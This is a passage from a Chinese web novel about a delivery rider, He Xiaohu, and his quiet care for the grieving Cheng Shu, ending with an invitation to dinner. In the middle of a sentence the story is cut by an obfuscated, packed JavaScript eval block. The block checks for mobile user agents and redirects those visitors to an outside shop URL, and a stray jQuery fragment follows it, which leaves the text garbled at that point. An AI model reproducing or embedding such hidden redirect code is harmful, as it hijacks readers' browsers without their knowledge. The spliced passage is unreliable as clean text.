“所以呢？”程述问。
“我……”何小虎不知道所以该怎么样，他只是想陪着程述，看他慢慢变好。
就像六年前程述对他一样。
“别管我，别再来找我。”程述说完，网约车到了。他把东西放进后备箱，头也不回地离开。
何小虎并不知道自己要怎么办，只是下意识的立刻骑上电动车，隔着车道在机动车道跟随着。
他跟着骑了好一会儿，在十字路口并行的时候他感觉到程述发现他了。
但是交警也发现他了。
“没戴安全帽的，对，就是你，过来！”
何小虎刚刚太着急了。
送外卖很容易吃罚单，何小虎也疏忽吃过两次，这次被罚款五十块钱。等回过头来，程述的车早已没了踪影。
何小虎在炎热的街道上走着，今天明明休息，他却不知道做什么，也不想回家。
中午吃饭的时候，天哥说他们下午带小孩去水上乐园玩，问何小虎要不要一起去。何小虎说有事情不去。
水上乐园好玩吗？应该很凉快吧。
何小虎莫名地想着。
过了一会儿手机响了，何小虎还以为是站长，因为平时只有站长和外卖客户给他打电话。
没想到是“之间”花店的前台，陈佳琪，何小虎平时喊她佳琪姐。
何小虎心里一紧，以为是送的单子有问题了，因为上周送了很多他们店的单子。
“喂？”
“小虎啊，你今天忙吗？我们有两个单子太远了没找到人送，你可以接吗？”
“可以。”何小虎正好没事。
陈佳琪松口气，“太好了。”
之间花店的花束包装都很大，外卖跑腿一次只能送一单，还要全城配送，忙的时候偶尔会约不到外卖员。
两束花何小虎送了三个多小时，送完之后又有一个加急单，何小虎也说他送。
花束还没有做好，何小虎在休息区等着。
“小虎。”陈佳琪端了饮料和甜品来，“吃点下午茶，垫垫肚子。”
何小虎下意识地说不用。
陈佳琪坐下，“别客气，谢谢你临时来帮忙。”
何小虎低着头，说没事。
蛋糕是蓝莓巧克力味的，不是很甜，上面摆了一层大大的蓝莓，很好吃。
“上次听你同事说你要离职了，真的吗？”陈佳琪问。
何小虎：“现在不走了。”
陈佳琪点点头，“哦，这样啊。”
她以为何小虎是有更好的去处了，正想要恭喜他呢。
这时候老板从工作间里出来，她总是穿着棉麻质地地长裙，特别瘦，但是看着很有力气。
“佳琪，那批要退的材料清点好没有？”老板问。
“清点好了，也拍照了。”
“好，辛苦。”老板看到她在跟何小虎聊天，看了一眼。
陈佳琪说：“这是经常帮我们送加急单的外卖小哥，何小虎，今天他休息我又喊过来了。”
“嗯，多谢。”老板对何小虎说。
她不苟言笑，微微点头，转身又回工作间去了。
何小虎眼睛转转，继续低头吃蛋糕。
“其实我们老板人很好。”陈佳琪忽然说。
“哦哦。”
“只是看着有点严肃。其实老板严肃一点更好，我也不想跟老板当朋友啊，只要工资准时福利足够就好了。”
何小虎觉得很有道理，看着她点了点头。
最后一单要从到离花店最远的行政区，中途何小虎还换了一次电池。
结束的时候已经晚上八点，天已经黑了，何小虎有些累。
他在店里点了一碗面吃，想着程述回来了没有。
程述拿了三束花，难道是给三个人的吗？究竟是谁的祭日。
何小虎太想程述了，想知道他有没有安全回来。这样想着，吃完面立刻骑车去程述家看看。
去程述家的路上有一家生意很好的牛杂店，听同事们说是广南市最好吃的，何小虎顺路去给程述买一份。排队排了十几分钟才买到，想着天气热还买了冰的糖水。
这会儿已经九点了，进出的人很少，何小虎没穿工服被保安拦下。
他手上的袋子也没有外卖贴单，只好退回来，在小区栏杆外面张望，看程述家有没有开灯。
十八层，他数了三次才数对。
灯是暗的，程述还没有回家。
何小虎的心情也随之变暗了，他挎着肩膀，手中的宵夜也变得好重。
“唉。”何小虎看着自己的脚尖叹了口气。
何小虎在大门口等着，他想看见程述安全回来了再回去，心中懊悔着应该问糖水店老板要个保温袋的，这么热的天气，冰都化完了。
“你到底是找谁的？”保安看他在门口徘徊了很久，出来盘问。
何小虎心虚地解释，“找朋友。”
保安：“朋友？那你给他打个电话就行。”
“他还没回家，我等等就好了。”何小虎说。
虽然何小虎长相算是可爱，稍加打扮肯定是清爽正太一枚。但送外卖风吹雨晒，整个人都很黑，常年吃饭不规律没营养，人瘦成根杆子。
总之绝对不像这个高档小区的业主，这么来回鬼鬼祟祟地徘徊，保安不放心也很正常。
保安手里捏着电棍，还是不信他，普通话夹杂着粤语说：“你要是找人就打电话让他知会一声，我们都有业主系统的。不然就请到别的地方等，小区门口车辆进出很多，不安全知道吗？我也是打工的麻烦你配——”
“小虎。”
何小虎听到程述的声音猛地转头，像看到了救星，往他身边走了一点，小声喊他：“哥哥。”
程述走过来，跟保安说：“这是我…弟弟，我住9栋1801。”
“啊啊，好的好的。”保安忙笑着说不好意思，他知道程述。
或者说，整个小区都知道程述家的事，尽管他不是业主。
何小虎眼睛亮亮地看着程述，都没注意听程述和保安说了什么，直到程述说“走吧”。
“哦哦，好。”何小虎跟着程述进了小区。
何小虎走在他左后方，看他手里拎着那几个袋子，就上前去拿：“我帮你拎，哥哥。”
程述没注意，被他拿走了。
“这么晚你在这里做什么？”程述问。
“我，我来送宵夜。”
“白天我说的话，你一个字也不听。”
何小虎微微低头，虽然程述这样说那样说，但每次来他都让自己进家门的。
程述转头看他，“何小虎。”
何小虎微微挺直腰背，“嗯？”
“谢谢你。”程述说：“葡萄很好。”
何小虎害羞了，程述很帅，说这句话的时候还很温柔。
“不客气。”
“我妈妈……她老家就是林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898274|212892||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
城的，外公外婆就是种葡萄供她上学。她一直很喜欢，总念着要多回老家。”
这是这么久以来程述对何小虎说过最长的一句话。
何小虎超级开心，歪着脑袋跟他说：“那她什么时候回去？可以回去避暑呀，我表姐说林城夏天很凉快，现在好多人在那边避暑。我表姐就开了民宿，要是——”
“她不在了。”程述小声说。
“哦……对不起。”
何小虎瞬间心碎了，他觉得自己好笨好可恶，怎么说到程述的伤心事，又莫名想起自己的妈妈。
他低下头，鼻子酸酸的，空气里的水分聚集到眼眶里，只能抬起头来。
程述看到他的模样，心也抽了下，柔声说：“跟你没关系。”
何小虎没有说话，只是笑一下。
何小虎笑起来的时候很能迷惑人，因为那一对酒窝。但程述了然，如今的他们都明白失去至亲的痛和氧气一样，如影随形。
只要活着，就能感受到。
就这样慢慢走回了家，自然地进了屋子，程述把带去的葡萄拿去冲洗，放在茶几上。何小虎也把买来的牛杂和糖水摆上。
“你妈妈喜欢吃巨峰葡萄吗？”程述忽然问。
程述习惯性地只开两盏射灯，客厅光线很暗。
何小虎说：“她没有吃过。”
程述看向他。
“思塘不产这个，我们也很少买水果吃。”何小虎看着面前的葡萄，说：“要是当时在林城治病的时候，我去买一点给妈妈吃就好了……哦，不对，那时候是冬天。”
小可怜。
程述走到他旁边坐下，“那下次扫墓的时候，给她也带一串。”
何小虎说好。
“你现在住在哪里？”程述问。
“……”
何小虎不太想说，因为住得太差了，在广南市这种地方，他的租金才六百元。
程述不解，微微凑过去，“怎么了？”
何小虎：“哦，没什么，我想回家了。哥哥，有点晚了。”
“你住在哪里？”程述又问。
他就那样歪头看着何小虎，在何小虎回答他的问题之前，他不回答何小虎的问题。
何小虎心虚地抬起一点头，笑一笑。
应该是躲不过的，他怎么能抵抗程述呢？他是哥哥呀。
“横元村。”何小虎声音嘟嘟囔囔的。
程述听到这里，眼神一默，片刻后才说：“离这里很远。”
“不远，骑车很快的。”何小虎笑着，很乖。
横元村是另一个行政区的城中村，距离程述所在的小区有起码十三四公里，这么热的天气，他每天都来。
是每一天。
拎着各种吃的喝的玩的，有些吃的是对于程述来说也贵的程度。
“你……”程述的话卡在喉咙。
你好傻啊。
何小虎看得懂他的表情，六年前他也这样看着自己，他很心疼。
何小虎后撤一点，站起来，“哥哥，我回家了。”
程述也站起来。
“哥哥，明天见。”何小虎换好鞋子，站在门外。
程述跟着走到玄关处，“明天见。”
何小虎愣住。
“明天晚上，到这里来吃饭。”程述说。
何小虎心花怒放。
程述终于不再说你不要来了。
他高兴得挥手，又说：“明天见！”